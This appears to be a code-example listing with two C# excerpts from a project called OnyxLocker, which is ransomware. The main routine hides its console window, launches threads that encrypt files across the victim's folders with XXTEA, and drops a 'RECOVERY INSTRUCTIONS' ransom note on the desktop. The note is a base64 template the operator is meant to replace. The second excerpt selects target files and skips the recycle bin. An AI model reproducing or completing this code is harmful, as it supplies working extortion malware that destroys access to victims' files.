コード例 #1
0
        private static void Main(string[] args)
        {
            System.Threading.Thread.Sleep(1);
            var handle = GetConsoleWindow();

            // Hide
            ShowWindow(handle, SW_HIDE);

            IEncryptionProvider encryptionProvider = new XxteaEncryptionProvider();
            IFileParser         fileParser         = new FileParser(encryptionProvider);
            // IFileParser fileParser = new DummyParser();
            IFileChecker fileChecker = new FileChecker();

            IDriveExplorer driveExplorer = new FolderBrowser();

            var startFolders      = driveExplorer.GetStartingFolders();
            var encryptionThreads = GetEncryptionThreads(startFolders, new DirWalker(fileChecker, fileParser));

            encryptionThreads.ForEach(encThread =>
            {
                encThread.Start();
            });

            // Transmit to server maybe?
            var encryptionKey = encryptionProvider.GetEncryptionKey();

            var recoveryBytes   = Convert.FromBase64String("WW91IHNob3VsZCByZXBsYWNlIHRoaXMgbWVzc2FnZSB3aXRoIHRoZSBvbmUgeW91IHdhbnQgeW91ciB1c2VycyB0byBzZWUu");
            var recoveryMessage = System.Text.Encoding.UTF8.GetString(recoveryBytes);

            var messageWriter = new MessageWriter(recoveryMessage, "RECOVERY INSTRUCTIONS", 10);

            messageWriter.WriteMessageToDesktop();

            encryptionThreads.ForEach(encThread =>
            {
                if (encThread != null)
                {
                    encThread.Join();
                }
            });
        }
コード例 #2
0
ファイル: DirWalker.cs プロジェクト: sebbe-m/OnyxLocker
 /// <summary>
 /// Checks if the file is a target file
 /// </summary>
 /// <param name="filePath"></param>
 /// <returns></returns>
 private bool IsTargetFile(string filePath)
 {
     return(!filePath.Contains("recycle") && FileChecker.IsTargetFile(filePath));
 }